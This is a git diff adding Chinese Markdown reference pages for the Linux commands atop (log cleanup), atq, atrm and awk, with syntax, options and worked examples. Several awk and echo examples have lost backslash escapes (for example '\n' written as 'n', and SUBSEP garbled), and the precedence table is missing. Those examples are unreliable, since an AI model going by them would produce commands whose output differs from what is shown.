设定日志失效期限,自动删除一段时间前的日志文件 + +其实atop开发者已经提供了以上日志保存方式,相应的atop.daily脚本可以在源码目录下找到。在atop.daily脚本中,我们可以通过修改INTERVAL变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天): + +``` +(sleep 3; find $LOGPATH -name 'atop_*' -mtime +28 -exec rm {} \; )& +``` + +最后,我们修改cron文件,每天凌晨执行atop.daily脚本: + +``` +0 0 * * * root /etc/cron.daily/atop.daily +``` + +## 相关资料 + +- [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/atq.md b/LearnShell/LinuxCommands/atq.md new file mode 100644 index 0000000..16a3aef --- /dev/null +++ b/LearnShell/LinuxCommands/atq.md @@ -0,0 +1,36 @@ +atq +=== + +列出当前用户的at任务列表 + +## 补充说明 + +**atq命令** 显示系统中待执行的任务列表,也就是列出当前用户的at任务列表。 + +### 语法 + +``` +atq(选项) +``` + +### 选项 + +``` +-V:显示版本号; +-q:查询指定队列的任务。 +``` + +### 实例 + +``` +at now + 10 minutes +at> echo 1111 +at> +job 3 at Fri Apr 26 12:56:00 2013 + +atq +3 Fri Apr 26 12:56:00 2013 a root +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/atrm.md b/LearnShell/LinuxCommands/atrm.md new file mode 100644 index 0000000..9aae200 --- /dev/null +++ b/LearnShell/LinuxCommands/atrm.md @@ -0,0 +1,39 @@ +atrm +=== + +删除待执行任务队列中的指定任务 + +## 补充说明 + +**atrm命令** 用于删除待执行任务队列中的指定任务。 + +### 语法 + +``` +atrm(选项)(参数) +``` + +### 选项 + +``` +-V:显示版本号。 +``` + +### 参数 + +任务号:指定待执行队列中要删除的任务。 + +### 实例 + +删除已经排队的任务 + +``` +atq //显示当前已经设置的任务 +2 Mon May 17 08:00:00 2010 a root +1 Sat May 15 17:00:00 2010 a root + +atrm 2 //删除任务2 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/awk.md b/LearnShell/LinuxCommands/awk.md new file mode 100644 index 0000000..6a5a392 --- /dev/null +++ b/LearnShell/LinuxCommands/awk.md @@ -0,0 +1,951 @@ +awk +=== + +文本和数据进行处理的编程语言 + +## 补充说明 + +**awk** 是一种编程语言,用于在linux/unix下对文本和数据进行处理。数据可以来自标准输入(stdin)、一个或多个文件,或其它命令的输出。它支持用户自定义函数和动态正则表达式等先进功能,是linux/unix下的一个强大编程工具。它在命令行中使用,但更多是作为脚本来使用。awk有很多内建的功能,比如数组、函数等,这是它和C语言的相同之处,灵活性是awk最大的优势。 + +## awk命令格式和选项 + + **语法形式** + +``` +awk [options] 'script' var=value file(s) +awk [options] -f scriptfile var=value file(s) +``` + + **常用命令选项** + +* **-F fs   ** fs指定输入分隔符,fs可以是字符串或正则表达式,如-F: +* **-v var=value   ** 赋值一个用户定义变量,将外部变量传递给awk +* **-f scripfile  ** 从脚本文件中读取awk命令 +* **-m[fr] val   ** 对val值设置内在限制,-mf选项限制分配给val的最大块数目;-mr选项限制记录的最大数目。这两个功能是Bell实验室版awk的扩展功能,在标准awk中不适用。 + +## awk模式和操作 + +awk脚本是由模式和操作组成的。 + +### 模式 + +模式可以是以下任意一个: + +* /正则表达式/:使用通配符的扩展集。 +* 关系表达式:使用运算符进行操作,可以是字符串或数字的比较测试。 +* 模式匹配表达式:用运算符`~`(匹配)和`!~`(不匹配)。 +* BEGIN语句块、pattern语句块、END语句块:参见awk的工作原理 + +### 操作 + +操作由一个或多个命令、函数、表达式组成,之间由换行符或分号隔开,并位于大括号内,主要部分是: + +* 变量或数组赋值 +* 输出命令 +* 内置函数 +* 控制流语句 + +## awk脚本基本结构 + +``` +awk 'BEGIN{ print "start" } pattern{ commands } END{ print "end" }' file +``` + +一个awk脚本通常由:BEGIN语句块、能够使用模式匹配的通用语句块、END语句块3部分组成,这三个部分是可选的。任意一个部分都可以不出现在脚本中,脚本通常是被 **单引号** 或 **双引号** 中,例如: + +``` +awk 'BEGIN{ i=0 } { i++ } END{ print i }' filename +awk "BEGIN{ i=0 } { i++ } END{ print i }" filename +``` + +### awk的工作原理 + +``` +awk 'BEGIN{ commands } pattern{ commands } END{ commands }' +``` + +* 第一步:执行`BEGIN{ commands }`语句块中的语句; +* 第二步:从文件或标准输入(stdin)读取一行,然后执行`pattern{ commands }`语句块,它逐行扫描文件,从第一行到最后一行重复这个过程,直到文件全部被读取完毕。 +* 第三步:当读至输入流末尾时,执行`END{ commands }`语句块。 + + **BEGIN语句块** 在awk开始从输入流中读取行 **之前** 被执行,这是一个可选的语句块,比如变量初始化、打印输出表格的表头等语句通常可以写在BEGIN语句块中。 + + **END语句块** 在awk从输入流中读取完所有的行 **之后** 即被执行,比如打印所有行的分析结果这类信息汇总都是在END语句块中完成,它也是一个可选语句块。 + + **pattern语句块** 中的通用命令是最重要的部分,它也是可选的。如果没有提供pattern语句块,则默认执行`{ print }`,即打印每一个读取到的行,awk读取的每一行都会执行该语句块。 + + **示例** + +``` +echo -e "A line 1nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }' +Start +A line 1 +A line 2 +End +``` + +当使用不带参数的`print`时,它就打印当前行,当`print`的参数是以逗号进行分隔时,打印时则以空格作为定界符。在awk的print语句块中双引号是被当作拼接符使用,例如: + +``` +echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1,var2,var3; }' +v1 v2 v3 +``` + +双引号拼接使用: + +``` +echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1"="var2"="var3; }' +v1=v2=v3 +``` + +{ }类似一个循环体,会对文件中的每一行进行迭代,通常变量初始化语句(如:i=0)以及打印文件头部的语句放入BEGIN语句块中,将打印的结果等语句放在END语句块中。 + +## awk内置变量(预定义变量) + +说明:[A][N][P][G]表示第一个支持变量的工具,[A]=awk、[N]=nawk、[P]=POSIXawk、[G]=gawk + +``` + **$n** 当前记录的第n个字段,比如n为1表示第一个字段,n为2表示第二个字段。 + **$0** 这个变量包含执行过程中当前行的文本内容。 +[N] **ARGC** 命令行参数的数目。 +[G] **ARGIND** 命令行中当前文件的位置(从0开始算)。 +[N] **ARGV** 包含命令行参数的数组。 +[G] **CONVFMT** 数字转换格式(默认值为%.6g)。 +[P] **ENVIRON** 环境变量关联数组。 +[N] **ERRNO** 最后一个系统错误的描述。 +[G] **FIELDWIDTHS** 字段宽度列表(用空格键分隔)。 +[A] **FILENAME** 当前输入文件的名。 +[P] **FNR** 同NR,但相对于当前文件。 +[A] **FS** 字段分隔符(默认是任何空格)。 +[G] **IGNORECASE** 如果为真,则进行忽略大小写的匹配。 +[A] **NF** 表示字段数,在执行过程中对应于当前的字段数。 +[A] **NR** 表示记录数,在执行过程中对应于当前的行号。 +[A] **OFMT** 数字的输出格式(默认值是%.6g)。 +[A] **OFS** 输出字段分隔符(默认值是一个空格)。 +[A] **ORS** 输出记录分隔符(默认值是一个换行符)。 +[A] **RS** 记录分隔符(默认是一个换行符)。 +[N] **RSTART** 由match函数所匹配的字符串的第一个位置。 +[N] **RLENGTH** 由match函数所匹配的字符串的长度。 +[N] **SUBSEP** 数组下标分隔符(默认值是34)。 +``` + + **示例** + +``` +echo -e "line1 f2 f3\nline2 f4 f5\nline3 f6 f7" | awk '{print "Line No:"NR", No of fields:"NF, "$0="$0, "$1="$1, "$2="$2, "$3="$3}' +Line No:1, No of fields:3 $0=line1 f2 f3 $1=line1 $2=f2 $3=f3 +Line No:2, No of fields:3 $0=line2 f4 f5 $1=line2 $2=f4 $3=f5 +Line No:3, No of fields:3 $0=line3 f6 f7 $1=line3 $2=f6 $3=f7 +``` + +使用`print $NF`可以打印出一行中的最后一个字段,使用`$(NF-1)`则是打印倒数第二个字段,其他以此类推: + +``` +echo -e "line1 f2 f3n line2 f4 f5" | awk '{print $NF}' +f3 +f5 +``` + +``` +echo -e "line1 f2 f3n line2 f4 f5" | awk '{print $(NF-1)}' +f2 +f4 + +``` + +打印每一行的第二和第三个字段: + +``` +awk '{ print $2,$3 }' filename +``` + +统计文件中的行数: + +``` +awk 'END{ print NR }' filename +``` + +以上命令只使用了END语句块,在读入每一行的时,awk会将NR更新为对应的行号,当到达最后一行NR的值就是最后一行的行号,所以END语句块中的NR就是文件的行数。 + +一个每一行中第一个字段值累加的例子: + +``` +seq 5 | awk 'BEGIN{ sum=0; print "总和:" } { print $1"+"; sum+=$1 } END{ print "等于"; print sum }' +总和: +1+ +2+ +3+ +4+ +5+ +等于 +15 +``` + +## 将外部变量值传递给awk + +借助 **`-v`选项** ,可以将外部值(并非来自stdin)传递给awk: + +``` +VAR=10000 +echo | awk -v VARIABLE=$VAR '{ print VARIABLE }' +``` + +另一种传递外部变量方法: + +``` +var1="aaa" +var2="bbb" +echo | awk '{ print v1,v2 }' v1=$var1 v2=$var2 +``` + +当输入来自于文件时使用: + +``` +awk '{ print v1,v2 }' v1=$var1 v2=$var2 filename +``` + +以上方法中,变量之间用空格分隔作为awk的命令行参数跟随在BEGIN、{}和END语句块之后。 + +## 查找进程pid + +``` +netstat -antup | grep 7770 | awk '{ print $NF NR}' | awk '{ print $1}' +``` + +## awk运算与判断 + +作为一种程序设计语言所应具有的特点之一,awk支持多种运算,这些运算与C语言提供的基本相同。awk还提供了一系列内置的运算函数(如log、sqr、cos、sin等)和一些用于对字符串进行操作(运算)的函数(如length、substr等等)。这些函数的引用大大的提高了awk的运算功能。作为对条件转移指令的一部分,关系判断是每种程序设计语言都具备的功能,awk也不例外,awk中允许进行多种测试,作为样式匹配,还提供了模式匹配表达式~(匹配)和!~(不匹配)。作为对测试的一种扩充,awk也支持用逻辑运算符。 + +### 算术运算符 + +| 运算符 | 描述 | +| ----- | ---- | +| + - | 加,减 | +| * / & | 乘,除与求余 | +| + - ! | 一元加,减和逻辑非 | +| ^ *** | 求幂 | +| ++ -- | 增加或减少,作为前缀或后缀 | + +例: + +``` +awk 'BEGIN{a="b";print a++,++a;}' +0 2 +``` + +注意:所有用作算术运算符进行操作,操作数自动转为数值,所有非数值都变为0 + +### 赋值运算符 + +| 运算符 | 描述 | +| ----- | ---- | +| = += -= *= /= %= ^= **= | 赋值语句 | + +例: + +``` +a+=5; 等价于:a=a+5; 其它同类 +``` + +### 逻辑运算符 + +| 运算符 | 描述 | +| ----- | ---- | +| `\|\|` | 逻辑或 | +| && | 逻辑与 | + +例: + +``` +awk 'BEGIN{a=1;b=2;print (a>5 && b<=2),(a>5 || b<=2);}' +0 1 +``` + +### 正则运算符 + +| 运算符 | 描述 | +| ----- | ---- | +| ~ !~ | 匹配正则表达式和不匹配正则表达式 | + +例: + +``` +awk 'BEGIN{a="100testa";if(a ~ /^100*/){print "ok";}}' +ok +``` + +### 关系运算符 + +| 运算符 | 描述 | +| ----- | ---- | +| < <= > >= != == | 关系运算符 | + +例: + +``` +awk 'BEGIN{a=11;if(a >= 9){print "ok";}}' +ok +``` + +注意:> < 可以作为字符串比较,也可以用作数值比较,关键看操作数如果是字符串就会转换为字符串比较。两个都为数字才转为数值比较。字符串比较:按照ASCII码顺序比较。 + +### 其它运算符 + +| 运算符 | 描述 | +| ----- | ---- | +| $ | 字段引用 | +| 空格 | 字符串连接符 | +| ?: | C条件表达式 | +| in | 数组中是否存在某键值 | + +例: + +``` +awk 'BEGIN{a="b";print a=="b"?"ok":"err";}' +ok +``` + +``` +awk 'BEGIN{a="b";arr[0]="b";arr[1]="c";print (a in arr);}' +0 +``` + +``` +awk 'BEGIN{a="b";arr[0]="b";arr["b"]="c";print (a in arr);}' +1 +``` + +### 运算级优先级表 + +!级别越高越优先 +级别越高越优先 + +## awk高级输入输出 + +### 读取下一条记录 + +awk中`next`语句使用:在循环逐行匹配,如果遇到next,就会跳过当前行,直接忽略下面语句。而进行下一行匹配。next语句一般用于多行合并: + +``` +cat text.txt +a +b +c +d +e + +awk 'NR%2==1{next}{print NR,$0;}' text.txt +2 b +4 d +``` + +当记录行号除以2余1,就跳过当前行。下面的`print NR,$0`也不会执行。下一行开始,程序有开始判断`NR%2`值。这个时候记录行号是`:2` ,就会执行下面语句块:`'print NR,$0'` + +分析发现需要将包含有“web”行进行跳过,然后需要将内容与下面行合并为一行: + +``` +cat text.txt +web01[192.168.2.100] +httpd ok +tomcat ok +sendmail ok +web02[192.168.2.101] +httpd ok +postfix ok +web03[192.168.2.102] +mysqld ok +httpd ok +0 +awk '/^web/{T=$0;next;}{print T":t"$0;}' test.txt +web01[192.168.2.100]: httpd ok +web01[192.168.2.100]: tomcat ok +web01[192.168.2.100]: sendmail ok +web02[192.168.2.101]: httpd ok +web02[192.168.2.101]: postfix ok +web03[192.168.2.102]: mysqld ok +web03[192.168.2.102]: httpd ok +``` + +### 简单地读取一条记录 + +`awk getline`用法:输出重定向需用到`getline函数`。getline从标准输入、管道或者当前正在处理的文件之外的其他输入文件获得输入。它负责从输入获得下一行的内容,并给NF,NR和FNR等内建变量赋值。如果得到一条记录,getline函数返回1,如果到达文件的末尾就返回0,如果出现错误,例如打开文件失败,就返回-1。 + +getline语法:getline var,变量var包含了特定行的内容。 + +awk getline从整体上来说,用法说明: + +* **当其左右无重定向符`|`或`<`时:** getline作用于当前文件,读入当前文件的第一行给其后跟的变量`var`或`$0`(无变量),应该注意到,由于awk在处理getline之前已经读入了一行,所以getline得到的返回结果是隔行的。 +* **当其左右有重定向符`|`或`<`时:** getline则作用于定向输入文件,由于该文件是刚打开,并没有被awk读入一行,只是getline读入,那么getline返回的是该文件的第一行,而不是隔行。 + + **示例:** + +执行linux的`date`命令,并通过管道输出给`getline`,然后再把输出赋值给自定义变量out,并打印它: + +``` +awk 'BEGIN{ "date" | getline out; print out }' test +``` + +执行shell的date命令,并通过管道输出给getline,然后getline从管道中读取并将输入赋值给out,split函数把变量out转化成数组mon,然后打印数组mon的第二个元素: + +``` +awk 'BEGIN{ "date" | getline out; split(out,mon); print mon[2] }' test +``` + +命令ls的输出传递给geline作为输入,循环使getline从ls的输出中读取一行,并把它打印到屏幕。这里没有输入文件,因为BEGIN块在打开输入文件前执行,所以可以忽略输入文件。 + +``` +awk 'BEGIN{ while( "ls" | getline) print }' +``` + +### 关闭文件 + +awk中允许在程序中关闭一个输入或输出文件,方法是使用awk的close语句。 + +``` +close("filename") +``` + +filename可以是getline打开的文件,也可以是stdin,包含文件名的变量或者getline使用的确切命令。或一个输出文件,可以是stdout,包含文件名的变量或使用管道的确切命令。 + +### 输出到一个文件 + +awk中允许用如下方式将结果输出到一个文件: + +``` +echo | awk '{printf("hello word!n") > "datafile"}' +或 +echo | awk '{printf("hello word!n") >> "datafile"}' +``` + +## 设置字段定界符 + +默认的字段定界符是空格,可以使用`-F "定界符"` 明确指定一个定界符: + +``` +awk -F: '{ print $NF }' /etc/passwd +或 +awk 'BEGIN{ FS=":" } { print $NF }' /etc/passwd +``` + +在`BEGIN语句块`中则可以用`OFS=“定界符”`设置输出字段的定界符。 + +## 流程控制语句 + +在linux awk的while、do-while和for语句中允许使用break,continue语句来控制流程走向,也允许使用exit这样的语句来退出。break中断当前正在执行的循环并跳到循环外执行下一条语句。if 是流程选择用法。awk中,流程控制语句,语法结构,与c语言类型。有了这些语句,其实很多shell程序都可以交给awk,而且性能是非常快的。下面是各个语句用法。 + +### 条件判断语句 + +``` +if(表达式) + 语句1 +else + 语句2 +``` + +格式中语句1可以是多个语句,为了方便判断和阅读,最好将多个语句用{}括起来。awk分枝结构允许嵌套,其格式为: + +``` +if(表达式) + {语句1} +else if(表达式) + {语句2} +else + {语句3} +``` + +示例: + +``` +awk 'BEGIN{ +test=100; +if(test>90){ + print "very good"; + } + else if(test>60){ + print "good"; + } + else{ + print "no pass"; + } +}' + +very good +``` + +每条命令语句后面可以用`;` **分号** 结尾。 + +### 循环语句 + +#### while语句 + +``` +while(表达式) + {语句} +``` + +示例: + +``` +awk 'BEGIN{ +test=100; +total=0; +while(i<=test){ + total+=i; + i++; +} +print total; +}' +5050 +``` + +#### for循环 + +for循环有两种格式: + +格式1: + +``` +for(变量 in 数组) + {语句} +``` + +示例: + +``` +awk 'BEGIN{ +for(k in ENVIRON){ + print k"="ENVIRON[k]; +} + +}' +TERM=linux +G_BROKEN_FILENAMES=1 +SHLVL=1 +pwd=/root/text +... +logname=root +HOME=/root +SSH_CLIENT=192.168.1.21 53087 22 +``` + +注:ENVIRON是awk常量,是子典型数组。 + +格式2: + +``` +for(变量;条件;表达式) + {语句} +``` + +示例: + +``` +awk 'BEGIN{ +total=0; +for(i=0;i<=100;i++){ + total+=i; +} +print total; +}' +5050 +``` + +#### do循环 + +``` +do +{语句} while(条件) +``` + +例子: + +``` +awk 'BEGIN{ +total=0; +i=0; +do {total+=i;i++;} while(i<=100) + print total; +}' +5050 +``` + +### 其他语句 + +* **break** 当 break 语句用于 while 或 for 语句时,导致退出程序循环。 +* **continue** 当 continue 语句用于 while 或 for 语句时,使程序循环移动到下一个迭代。 +* **next** 能能够导致读入下一个输入行,并返回到脚本的顶部。这可以避免对当前输入行执行其他的操作过程。 +* **exit** 语句使主输入循环退出并将控制转移到END,如果END存在的话。如果没有定义END规则,或在END中应用exit语句,则终止脚本的执行。 + +## 数组应用 + +数组是awk的灵魂,处理文本中最不能少的就是它的数组处理。因为数组索引(下标)可以是数字和字符串在awk中数组叫做关联数组(associative arrays)。awk 中的数组不必提前声明,也不必声明大小。数组元素用0或空字符串来初始化,这根据上下文而定。 + +### 数组的定义 + +数字做数组索引(下标): + +``` +Array[1]="sun" +Array[2]="kai" +``` + +字符串做数组索引(下标): + +``` +Array["first"]="www" +Array"[last"]="name" +Array["birth"]="1987" +``` + +使用中`print Array[1]`会打印出sun;使用`print Array[2]`会打印出kai;使用`print["birth"]`会得到1987。 + + **读取数组的值** + +``` +{ for(item in array) {print array[item]}; } #输出的顺序是随机的 +{ for(i=1;i<=len;i++) {print array[i]}; } #Len是数组的长度 +``` + +### 数组相关函数 + + **得到数组长度:** + +``` +awk 'BEGIN{info="it is a test";lens=split(info,tA," ");print length(tA),lens;}' +4 4 +``` + +length返回字符串以及数组长度,split进行分割字符串为数组,也会返回分割得到数组长度。 + +``` +awk 'BEGIN{info="it is a test";split(info,tA," ");print asort(tA);}' +4 +``` + +asort对数组进行排序,返回数组长度。 + + **输出数组内容(无序,有序输出):** + +``` +awk 'BEGIN{info="it is a test";split(info,tA," ");for(k in tA){print k,tA[k];}}' +4 test +1 it +2 is +3 a +``` + +`for…in`输出,因为数组是关联数组,默认是无序的。所以通过`for…in`得到是无序的数组。如果需要得到有序数组,需要通过下标获得。 + +``` +awk 'BEGIN{info="it is a test";tlen=split(info,tA," ");for(k=1;k<=tlen;k++){print k,tA[k];}}' +1 it +2 is +3 a +4 test +``` + +注意:数组下标是从1开始,与C数组不一样。 + + **判断键值存在以及删除键值:** + +``` +#错误的判断方法: +awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";if(tB["c"]!="1"){print "no found";};for(k in tB){print k,tB[k];}}' +no found +a a1 +b b1 +c +``` + +以上出现奇怪问题,`tB[“c”]`没有定义,但是循环时候,发现已经存在该键值,它的值为空,这里需要注意,awk数组是关联数组,只要通过数组引用它的key,就会自动创建改序列。 + +```bash +#正确判断方法: +awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";if( "c" in tB){print "ok";};for(k in tB){print k,tB[k];}}' +a a1 +b b1 +``` + +`if(key in array)`通过这种方法判断数组中是否包含`key`键值。 + +```bash +#删除键值: +awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";delete tB["a"];for(k in tB){print k,tB[k];}}' +b b1 +``` + +`delete array[key]`可以删除,对应数组`key`的,序列值。 + +### 二维、多维数组使用 + +awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如,`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(�34)`作为分割字段,在上面的例子中,关联数组array存储的键值实际上是2�344。 + +类似一维数组的成员测试,多维数组可以使用`if ( (i,j) in array)`这样的语法,但是下标必须放置在圆括号中。类似一维数组的循环访问,多维数组使用`for ( item in array )`这样的语法遍历数组。与一维数组不同的是,多维数组必须使用`split()`函数来访问单独的下标分量。 + +```bash +awk 'BEGIN{ +for(i=1;i<=9;i++){ + for(j=1;j<=9;j++){ + tarr[i,j]=i*j; print i,"*",j,"=",tarr[i,j]; + } +} +}' +1 * 1 = 1 +1 * 2 = 2 +1 * 3 = 3 +1 * 4 = 4 +1 * 5 = 5 +1 * 6 = 6 +... +9 * 6 = 54 +9 * 7 = 63 +9 * 8 = 72 +9 * 9 = 81 +``` + +可以通过`array[k,k2]`引用获得数组内容。 + +另一种方法: + +```bash +awk 'BEGIN{ +for(i=1;i<=9;i++){ + for(j=1;j<=9;j++){ + tarr[i,j]=i*j; + } +} +for(m in tarr){ + split(m,tarr2,SUBSEP); print tarr2[1],"*",tarr2[2],"=",tarr[m]; +} +}' +``` + +## 内置函数 + +awk内置函数,主要分以下3种类似:算数函数、字符串函数、其它一般函数、时间函数。 + +### 算术函数 + +| 格式 | 描述 | +| ---- | ---- | +| atan2( y, x ) | 返回 y/x 的反正切。 | +| cos( x ) | 返回 x 的余弦;x 是弧度。 | +| sin( x ) | 返回 x 的正弦;x 是弧度。 | +| exp( x ) | 返回 x 幂函数。 | +| log( x ) | 返回 x 的自然对数。 | +| sqrt( x ) | 返回 x 平方根。 | +| int( x ) | 返回 x 的截断至整数的值。 | +| rand( ) | 返回任意数字 n,其中 0 <= n < 1。 | +| srand( [expr] ) | 将 rand 函数的种子值设置为 Expr 参数的值,或如果省略 Expr 参数则使用某天的时间。返回先前的种子值。 | + + +举例说明: + +``` +awk 'BEGIN{OFMT="%.3f";fs=sin(1);fe=exp(10);fl=log(10);fi=int(3.1415);print fs,fe,fl,fi;}' +0.841 22026.466 2.303 3 + +``` + +OFMT 设置输出数据格式是保留3位小数。 + +获得随机数: + +``` +awk 'BEGIN{srand();fr=int(100*rand());print fr;}' +78 +awk 'BEGIN{srand();fr=int(100*rand());print fr;}' +31 +awk 'BEGIN{srand();fr=int(100*rand());print fr;}' +41 +``` + +### 字符串函数 + +| 格式 | 描述 | +| ---- | ---- | +| gsub( Ere, Repl, [ In ] ) | 除了正则表达式所有具体值被替代这点,它和 sub 函数完全一样地执行。 | +| sub( Ere, Repl, [ In ] ) | 用 Repl 参数指定的字符串替换 In 参数指定的字符串中的由 Ere 参数指定的扩展正则表达式的第一个具体值。sub 函数返回替换的数量。出现在 Repl 参数指定的字符串中的 &(和符号)由 In 参数指定的与 Ere 参数的指定的扩展正则表达式匹配的字符串替换。如果未指定 In 参数,缺省值是整个记录($0 记录变量)。 | +| index( String1, String2 ) | 在由 String1 参数指定的字符串(其中有出现 String2 指定的参数)中,返回位置,从 1 开始编号。如果 String2 参数不在 String1 参数中出现,则返回 0(零)。 | +| length [(String)] | 返回 String 参数指定的字符串的长度(字符形式)。如果未给出 String 参数,则返回整个记录的长度($0 记录变量)。 | +| blength [(String)] | 返回 String 参数指定的字符串的长度(以字节为单位)。如果未给出 String 参数,则返回整个记录的长度($0 记录变量)。 | +| substr( String, M, [ N ] ) | 返回具有 N 参数指定的字符数量子串。子串从 String 参数指定的字符串取得,其字符以 M 参数指定的位置开始。M 参数指定为将 String 参数中的第一个字符作为编号 1。如果未指定 N 参数,则子串的长度将是 M 参数指定的位置到 String 参数的末尾 的长度。 | +| match( String, Ere ) | 在 String 参数指定的字符串(Ere 参数指定的扩展正则表达式出现在其中)中返回位置(字符形式),从 1 开始编号,或如果 Ere 参数不出现,则返回 0(零)。RSTART 特殊变量设置为返回值。RLENGTH 特殊变量设置为匹配的字符串的长度,或如果未找到任何匹配,则设置为 -1(负一)。| +| split( String, A, [Ere] ) | 将 String 参数指定的参数分割为数组元素 A[1], A[2], . . ., A[n],并返回 n 变量的值。此分隔可以通过 Ere 参数指定的扩展正则表达式进行,或用当前字段分隔符(FS 特殊变量)来进行(如果没有给出 Ere 参数)。除非上下文指明特定的元素还应具有一个数字值,否则 A 数组中的元素用字符串值来创建。 | +| tolower( String ) | 返回 String 参数指定的字符串,字符串中每个大写字符将更改为小写。大写和小写的映射由当前语言环境的 LC_CTYPE 范畴定义。 | +| toupper( String ) | 返回 String 参数指定的字符串,字符串中每个小写字符将更改为大写。大写和小写的映射由当前语言环境的 LC_CTYPE 范畴定义。 | +| sprintf(Format, Expr, Expr, . . . ) | 根据 Format 参数指定的 printf 子例程格式字符串来格式化 Expr 参数指定的表达式并返回最后生成的字符串。 | + + +注:Ere都可以是正则表达式。 + + **gsub,sub使用** + +``` +awk 'BEGIN{info="this is a test2010test!";gsub(/[0-9]+/,"!",info);print info}' +this is a test!test! +``` + +在 info中查找满足正则表达式,`/[0-9]+/` 用`””`替换,并且替换后的值,赋值给info 未给info值,默认是`$0` + + **查找字符串(index使用)** + +``` +awk 'BEGIN{info="this is a test2010test!";print index(info,"test")?"ok":"no found";}' +ok +``` + +未找到,返回0 + + **正则表达式匹配查找(match使用)** + +``` +awk 'BEGIN{info="this is a test2010test!";print match(info,/[0-9]+/)?"ok":"no found";}' +ok +``` + + **截取字符串(substr使用)** + +``` +[wangsl@centos5 ~]$ awk 'BEGIN{info="this is a test2010test!";print substr(info,4,10);}' +s is a tes +``` + +从第 4个 字符开始,截取10个长度字符串 + + **字符串分割(split使用)** + +``` +awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA){print k,tA[k];}}' +4 +4 test +1 this +2 is +3 a +``` + +分割info,动态创建数组tA,这里比较有意思,`awk for …in`循环,是一个无序的循环。 并不是从数组下标1…n ,因此使用时候需要注意。 + + **格式化字符串输出(sprintf使用)** + +格式化字符串格式: + +其中格式化字符串包括两部分内容:一部分是正常字符,这些字符将按原样输出; 另一部分是格式化规定字符,以`"%"`开始,后跟一个或几个规定字符,用来确定输出内容格式。 + +| 格式 | 描述 | 格式 | 描述 | +| ---- | ---- | ---- | ---- | +| %d | 十进制有符号整数 | %u | 十进制无符号整数 | +| %f | 浮点数 | %s | 字符串 | +| %c | 单个字符 | %p | 指针的值 | +| %e | 指数形式的浮点数 | %x | %X 无符号以十六进制表示的整数 | +| %o | 无符号以八进制表示的整数 | %g | 自动选择合适的表示法 | + + +``` +awk 'BEGIN{n1=124.113;n2=-1.224;n3=1.2345; printf("%.2f,%.2u,%.2g,%X,%on",n1,n2,n3,n1,n1);}' +124.11,18446744073709551615,1.2,7C,174 +``` + +### 一般函数 + +| 格式 | 描述 | +| ---- | ---- | +| close( Expression ) | 用同一个带字符串值的 Expression 参数来关闭由 print 或 printf 语句打开的或调用 getline 函数打开的文件或管道。如果文件或管道成功关闭,则返回 0;其它情况下返回非零值。如果打算写一个文件,并稍后在同一个程序中读取文件,则 close 语句是必需的。 | +| system(command ) | 执行 Command 参数指定的命令,并返回退出状态。等同于 system 子例程。| +| Expression `\|` getline [ Variable ] | 从来自 Expression 参数指定的命令的输出中通过管道传送的流中读取一个输入记录,并将该记录的值指定给 Variable 参数指定的变量。如果当前未打开将 Expression 参数的值作为其命令名称的流,则创建流。创建的流等同于调用 popen 子例程,此时 Command 参数取 Expression 参数的值且 Mode 参数设置为一个是 r 的值。只要流保留打开且 Expression 参数求得同一个字符串,则对 getline 函数的每次后续调用读取另一个记录。如果未指定 Variable 参数,则 $0 记录变量和 NF 特殊变量设置为从流读取的记录。| +| getline [ Variable ] < Expression | 从 Expression 参数指定的文件读取输入的下一个记录,并将 Variable 参数指定的变量设置为该记录的值。只要流保留打开且 Expression 参数对同一个字符串求值,则对 getline 函数的每次后续调用读取另一个记录。如果未指定 Variable 参数,则 $0 记录变量和 NF 特殊变量设置为从流读取的记录。 | +| getline [ Variable ] | 将 Variable 参数指定的变量设置为从当前输入文件读取的下一个输入记录。如果未指定 Variable 参数,则 $0 记录变量设置为该记录的值,还将设置 NF、NR 和 FNR 特殊变量。 | + + **打开外部文件(close用法)** + +``` +awk 'BEGIN{while("cat /etc/passwd"|getline){print $0;};close("/etc/passwd");}' +root:x:0:0:root:/root:/bin/bash +bin:x:1:1:bin:/bin:/sbin/nologin +daemon:x:2:2:daemon:/sbin:/sbin/nologin +``` + + **逐行读取外部文件(getline使用方法)** + +``` +awk 'BEGIN{while(getline < "/etc/passwd"){print $0;};close("/etc/passwd");}' +root:x:0:0:root:/root:/bin/bash +bin:x:1:1:bin:/bin:/sbin/nologin +daemon:x:2:2:daemon:/sbin:/sbin/nologin +``` + +``` +awk 'BEGIN{print "Enter your name:";getline name;print name;}' +Enter your name: +chengmo +chengmo +``` + + **调用外部应用程序(system使用方法)** + +``` +awk 'BEGIN{b=system("ls -al");print b;}' +total 42092 +drwxr-xr-x 14 chengmo chengmo 4096 09-30 17:47 . +drwxr-xr-x 95 root root 4096 10-08 14:01 .. +``` + +b返回值,是执行结果。 + +### 时间函数 + +| 格式 | 描述 | +| ---- | ---- | +| 函数名 | 说明 | +| mktime( YYYY MM dd HH MM ss[ DST]) | 生成时间格式 | +| strftime([format [, timestamp]]) | 格式化时间输出,将时间戳转为时间字符串具体格式,见下表。 | +| systime() | 得到时间戳,返回从1970年1月1日开始到当前时间(不计闰年)的整秒数 | + + **建指定时间(mktime使用)** + +``` +awk 'BEGIN{tstamp=mktime("2001 01 01 12 12 12");print strftime("%c",tstamp);}' +2001年01月01日 星期一 12时12分12秒 +``` + +``` +awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=mktime("2001 02 01 0 0 0");print tstamp2-tstamp1;}' +2634468 +``` + +求2个时间段中间时间差,介绍了strftime使用方法 + +``` +awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=systime();print tstamp2-tstamp1;}' +308201392 +``` + + 